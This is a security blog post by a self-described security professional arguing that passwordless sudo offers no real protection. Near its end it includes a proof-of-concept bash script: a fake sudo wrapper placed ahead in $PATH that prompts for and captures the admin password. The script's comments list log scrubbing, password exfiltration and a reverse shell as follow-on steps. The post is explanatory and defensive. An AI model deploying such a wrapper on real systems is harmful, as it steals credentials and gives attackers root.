The tragedy of passwordless sudo
I believe the definition of security theatre says it all: “the practice of taking security measures that are intended to provide the feeling of improved security while doing little or nothing to achieve it”. I believe it’s actually worse than not employing such measures as it gives a false sense of security. There are good reasons why some jobs are better left for professionals.
So, what’s so bad about passwordless sudo? Well, it fails to prevent anything from a security perspective. There’s only one benefit: protection against incompetence i.e a bad command typed without the sudo prefix won’t destroy a system. That’s it. When every process running under that particular user can escalate to root or modify your user’s configuration to inject arbitrary code that can be escalated, the audit trail isn’t worth the bytes for saving auth.log as history can be rewritten. Some form of remote audit would keep an audit trail, but I believe the Venn diagram of the intersection between users of passworless sudo and users of remote audit trail (or even users who read auth.log for a change) is 0 (zero).
Passworless sudo is like a tweet from @ShitUserStory. It’s just root with extra steps, like having a Docker socket around. It is a bad idea no matter how many times this is being recommended.
This security meme stems from a few misunderstandings:
- That the root user is a major security risk.
- Disabling root somehow fixes that risk.
- The sudo alternative is somehow better without assessing its implications of the way it is being used.
To say that as a security professional I’m displeased when I see bad security advice is a bit of an understatement.
All of the operating systems used on the vast majority of the devices have a superuser (typically named “root” on unices/UNIX-like). Yes, even Windows has one: the SYSTEM account. Most people don’t even know it exists. So, branding this as a major security risk is a misnomer as virtually all of the devices around us have one. The risk is an unauthorised use, so this is what security measures need to prevent.
This takes me to the second bit, that disabling the root account somehow fixes the previously perceived risk. A superuser is necessary for specific systems administration tasks, so those privileges are necessary for very specific use cases.
So, the alternatives, which are better when used properly, boil down to use lower permissions most of the time and escalate privileges when necessary. sudo (for unices/UNIX-like) and UAC (for Windows) provide frameworks for unprivileged users to be able to escalate their permissions to run administrative tasks. So far so good.
However, using passwordless sudo whether because it’s convenient (saves the effort for typing passwords) or ignorance (the people who recommend it don’t understand the implications) has the same result: unfettered access to the superuser account.
I’m using the superuser term rather than root user because for unices/UNIX-like is not the name of the account that offers the user these unrestricted privileges, but the user ID (UID). That UID is 0 (zero).
You can rename the root user, albeit some poorly written scripts/applications would fail as they check for the name rather than UID. You can have users with duplicate UID and there are legitimate use cases for that, but this article won’t cover that scope. So, technically, you can have more than one superuser as duplicated UID 0 gives the same permissions to the duplicate UID user.
To wrap up, this is what happens when the UID is eyeballed:
$ id # normal user shell uid=1000(saltwater) gid=1000(saltwater) groups=1000(saltwater) # id # root shell uid=0(root) gid=0(root) groups=0(root) $ sudo id # normal user shell, invoking sudo uid=0(root) gid=0(root) groups=0(root)
This is basically the crux of the problem i.e everything following the sudo command is executed as root, so precisely the alleged major security hole that has been closed by disabling the root user has been reintroduced by passwordless sudo. This takes me back to what I said earlier: it’s just root with extra steps and without any password to challenge the user it simply provides unrestricted access to the box.
Unless you’re using something like Vagrant for development purposes, passwordless sudo needs to stop, like yesterday.
Having a password-enabled sudo account isn’t a catch-all though. A weak password for example (which is easily guessed/bruteforced) and remote access via SSH means that the password actually gives complete system access. There’s a reason why typically SSH is used with authentication methods that don’t require the user’s password, such as the most common key-based auth.
The next offender for sudo-enabled accounts is running network services under such account, whether this is passwordless sudo or password protected sudo. This falls outside the scope of the passwordless sudo as any network service running under such an account has the potential for compromising a machine, so the risk factor here is sudo, regardless of how this is being set up. Some configurations are worse than others.
There’s usually a really good idea to run services under an unprivileged account, preferably one for each service that disallows user logins. So, if you installed a piece of software that does this, that machine is subjected to an increased risk of total compromise.
Scenarios if a network service runs under such account and it is affected by an arbitrary remote code execution (RCE) problem:
- passwordless sudo – sudo doesn’t require a terminal.
- passwordless sudo – sudo requires a terminal.
- password-enabled sudo.
The 1st scenario is instant game over. That RCE can run arbitrary code invoked with sudo, so it runs as root. That machine is completely compromised with minimal post-exploitation pivoting (i.e uses sudo to escalate and that’s it). The typical sudo setup for Debian and derivatives (Ubuntu for example) doesn’t require a terminal (TTY or PTY) to invoke sudo.
The 2nd and 3rd scenario requires some post-exploitation patience to escalate to root. The terminal requirement for sudo, which is typical for RHEL and rebuilds/derivatives, prevents sudo from being invoked as in most scenarios an RCE would lack a proper terminal. However, the sudo-enabled accounts are used by systems administrators and the user’s shell can be manipulated. So, having network services under system accounts that don’t use any shells has very good reasoning.
To manipulate the user’s shell, an attacker would need to:
- Expand the $PATH variable with an additional path which takes precedence such as PATH=~/.local/bin:$PATH where ~/.local/bin would need to be created if it doesn’t exist. An attacker running with the privileges of the administrator’s account can modify the shell initialisation files (.bashrc/.zshrc/whatever) to inject an updated $PATH.
- Have a sudo-wrapping script in that ~/.local/bin $PATH with the right execution privileges.
- Wait for the admin to invoke sudo.
A PoC script for such purposes:
#!/usr/bin/env bash # common for Debian and RHEL families sudo_bin=/usr/bin/sudo if ! $sudo_bin -n true 2>/dev/null then echo -n "[sudo] password for $(id -nu): " read -s password echo # create sudo session echo $password | $sudo_bin -S true >/dev/null 2>&1 fi # Potential post exploitation actions: # * Exfiltrate password and system info # * Fork privileged process and scrub /var/log/auth.log for proof of exploitation # * Spawn or download and spawn a reverse shell to persist compromise # * Implode this script and reverse shell changes # ??? # profit echo "Under an attacker controlled scenario, this machine would be compromised" # invoke whatever using actual sudo $sudo_bin [email protected]
This PoC checks if there’s a sudo session by invoking true. If there isn’t any, it prompts for the password. This covers both the 2nd and 3rd scenarios as passwordless sudo would just invoke true successfully. If there’s a session, then the whole if branch is skipped.
After this, for password-enabled sudo accounts, the password and system info can be easily exfiltrated via a HTTPS request for example, for future use. As soon as sudo has a session, it’s game over as the machine can be totally compromised.
$ which sudo /home/saltwater/bin/sudo $ sudo id [sudo] password for saltwater: Under an attacker controlled scenario, this machine would be compromised uid=0(root) gid=0(root) groups=0(root)
I’m a security pro and I can tell for sure that I don’t always check the path for sudo or auth.log after every use, so the chances of a layperson catching this kind of attack are pretty much nil.